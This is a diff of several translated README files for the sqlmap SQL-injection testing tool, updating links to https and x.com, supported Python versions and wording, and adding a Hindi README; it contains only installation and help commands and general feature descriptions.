برای دریافت لیست تمامی ارگومانها میتوانید از دستور زیر استفاده کنید:
|
||||||
|
|
||||||
<div dir=ltr>
|
<div dir=ltr>
|
||||||
|
|
||||||
@@ -66,19 +66,21 @@
|
|||||||
<div dir=rtl>
|
<div dir=rtl>
|
||||||
|
|
||||||
|
|
||||||
برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) میتوانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه میشود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
|
برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید.
|
||||||
|
|
||||||
|
|
||||||
لینکها
|
لینکها
|
||||||
----
|
----
|
||||||
|
|
||||||
|
|
||||||
* خانه: http://sqlmap.org
|
* خانه: https://sqlmap.org
|
||||||
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
|
* پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
|
* راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* تویتر: [@sqlmap](https://twitter.com/sqlmap)
|
* توییتر: [@sqlmap](https://x.com/sqlmap)
|
||||||
* رسانه: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
* عکسها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* زمین تمرین: https://sekumart.sekuripy.hr
|
||||||
|
* پژوهش: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
|
* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap
|
# sqlmap
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
|
**sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation.
|
||||||
|
|
||||||
@@ -19,7 +19,7 @@ De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sql
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6**, **2.7** et **3.x** de [Python](http://www.python.org/download/)
|
sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.7** et **3.x** de [Python](https://www.python.org/download/)
|
||||||
|
|
||||||
Utilisation
|
Utilisation
|
||||||
----
|
----
|
||||||
@@ -32,18 +32,20 @@ Pour afficher une liste complète des options et des commutateurs (switches), ta
|
|||||||
|
|
||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
Vous pouvez regarder une vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples.
|
||||||
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Liens
|
Liens
|
||||||
----
|
----
|
||||||
|
|
||||||
* Page d'acceuil: http://sqlmap.org
|
* Page d'acceuil: https://sqlmap.org
|
||||||
* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
|
* Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
|
* Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Démonstrations: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Terrain de jeu: https://sekumart.sekuripy.hr
|
||||||
|
* Recherche: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap
|
# sqlmap
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.
|
Το sqlmap είναι πρόγραμμα ανοιχτού κώδικα, που αυτοματοποιεί την εύρεση και εκμετάλλευση ευπαθειών τύπου SQL Injection σε βάσεις δεδομένων. Έρχεται με μια δυνατή μηχανή αναγνώρισης ευπαθειών, πολλά εξειδικευμένα χαρακτηριστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εύρος επιλογών αρχίζοντας από την αναγνώριση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχρι και πρόσβαση στο βαθύτερο σύστημα αρχείων και εκτέλεση εντολών στο απευθείας στο λειτουργικό μέσω εκτός ζώνης συνδέσεων.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6**, **2.7** και **3.x** σε όποια πλατφόρμα.
|
Το sqlmap λειτουργεί χωρίς περαιτέρω κόπο με την [Python](https://www.python.org/download/) έκδοσης **2.7** και **3.x** σε όποια πλατφόρμα.
|
||||||
|
|
||||||
Χρήση
|
Χρήση
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,14 @@
|
|||||||
Σύνδεσμοι
|
Σύνδεσμοι
|
||||||
----
|
----
|
||||||
|
|
||||||
* Αρχική σελίδα: http://sqlmap.org
|
* Αρχική σελίδα: https://sqlmap.org
|
||||||
* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
|
* Προβλήματα: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki
|
* Εγχειρίδιο Χρήστη: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Συχνές Ερωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Χώρος δοκιμών: https://sekumart.sekuripy.hr
|
||||||
|
* Έρευνα: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap
|
# sqlmap
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.
|
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap radi bez posebnih zahtjeva korištenjem [Python](http://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
|
sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
|
||||||
|
|
||||||
Korištenje
|
Korištenje
|
||||||
----
|
----
|
||||||
@@ -39,12 +39,14 @@ Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te op
|
|||||||
Poveznice
|
Poveznice
|
||||||
----
|
----
|
||||||
|
|
||||||
* Početna stranica: http://sqlmap.org
|
* Početna stranica: https://sqlmap.org
|
||||||
* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
|
* Prijava problema: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
|
* Korisnički priručnik: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
|
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Vježbalište: https://sekumart.sekuripy.hr
|
||||||
|
* Istraživanje: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,51 +1,55 @@
|
|||||||
# sqlmap
|
# sqlmap
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data.
|
||||||
|
|
||||||
|
sqlmap dilengkapi dengan pendeteksi canggih dan fitur-fitur handal yang berguna bagi _penetration tester_. Perangkat lunak ini menawarkan berbagai cara untuk mendeteksi basis data bahkan dapat mengakses sistem file dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_.
|
||||||
|
|
||||||
Tangkapan Layar
|
Tangkapan Layar
|
||||||
----
|
----
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki.
|
Anda juga dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki.
|
||||||
|
|
||||||
Instalasi
|
Instalasi
|
||||||
----
|
----
|
||||||
|
|
||||||
Anda dapat mengunduh tarball versi terbaru [di sini]
|
Anda dapat mengunduh tarball versi terbaru [di sini](https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
||||||
(https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master).
|
|
||||||
|
|
||||||
Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap):
|
Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada repositori [Git](https://github.com/sqlmapproject/sqlmap):
|
||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun.
|
sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun.
|
||||||
|
|
||||||
Penggunaan
|
Penggunaan
|
||||||
----
|
----
|
||||||
|
|
||||||
Untuk mendapatkan daftar opsi dasar gunakan:
|
Untuk mendapatkan daftar opsi dasar gunakan perintah:
|
||||||
|
|
||||||
python sqlmap.py -h
|
python sqlmap.py -h
|
||||||
|
|
||||||
Untuk mendapatkan daftar opsi lanjut gunakan:
|
Untuk mendapatkan daftar opsi lanjutan gunakan perintah:
|
||||||
|
|
||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
|
Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
|
||||||
Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
|
||||||
|
Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya. Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Tautan
|
Tautan
|
||||||
----
|
----
|
||||||
|
|
||||||
* Situs: http://sqlmap.org
|
* Situs: https://sqlmap.org
|
||||||
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
* Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
* RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
* RSS Feed Dari Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues
|
* Pelacak Masalah: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
* Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
* Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos)
|
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
|
||||||
|
* Arena latihan: https://sekumart.sekuripy.hr
|
||||||
|
* Riset: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -0,0 +1,52 @@
|
|||||||
|
# sqlmap
|
||||||
|
|
||||||
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
|
sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं।
|
||||||
|
|
||||||
|
चित्रसंवाद
|
||||||
|
----
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
आप [विकि पर](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) कुछ फीचर्स की दिखाते हुए छवियों का संग्रह देख सकते हैं।
|
||||||
|
|
||||||
|
स्थापना
|
||||||
|
----
|
||||||
|
|
||||||
|
आप नवीनतम तारबाल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/tarball/master) या नवीनतम ज़िपबॉल को [यहां क्लिक करके](https://github.com/sqlmapproject/sqlmap/zipball/master) डाउनलोड कर सकते हैं।
|
||||||
|
|
||||||
|
प्राथमिकत: आप sqlmap को [गिट](https://github.com/sqlmapproject/sqlmap) रिपॉजिटरी क्लोन करके भी डाउनलोड कर सकते हैं:
|
||||||
|
|
||||||
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
|
sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
|
||||||
|
|
||||||
|
उपयोग
|
||||||
|
----
|
||||||
|
|
||||||
|
मौलिक विकल्पों और स्विच की सूची प्राप्त करने के लिए:
|
||||||
|
|
||||||
|
python sqlmap.py -h
|
||||||
|
|
||||||
|
सभी विकल्पों और स्विच की सूची प्राप्त करने के लिए:
|
||||||
|
|
||||||
|
python sqlmap.py -hh
|
||||||
|
|
||||||
|
आप [यहां](https://asciinema.org/a/46601) एक नमूना चलाने का पता लगा सकते हैं। sqlmap की क्षमताओं की एक अवलोकन प्राप्त करने, समर्थित फीचर्स की सूची और सभी विकल्पों और स्विच का वर्णन, साथ ही उदाहरणों के साथ, आपको [उपयोगकर्ता मैन्युअल](https://github.com/sqlmapproject/sqlmap/wiki/Usage) पर परामर्श दिया जाता है।
|
||||||
|
|
||||||
|
लिंक
|
||||||
|
----
|
||||||
|
|
||||||
|
* मुखपृष्ठ: https://sqlmap.org
|
||||||
|
* डाउनलोड: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) या [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
|
||||||
|
* संवाद आरएसएस फ़ीड: https://github.com/sqlmapproject/sqlmap/commits/master.atom
|
||||||
|
* समस्या ट्रैकर: https://github.com/sqlmapproject/sqlmap/issues
|
||||||
|
* उपयोगकर्ता मैन्युअल: https://github.com/sqlmapproject/sqlmap/wiki
|
||||||
|
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
|
* ट्विटर: [@sqlmap](https://x.com/sqlmap)
|
||||||
|
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* अभ्यास स्थल: https://sekumart.sekuripy.hr
|
||||||
|
* अनुसंधान: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
|
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
*
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user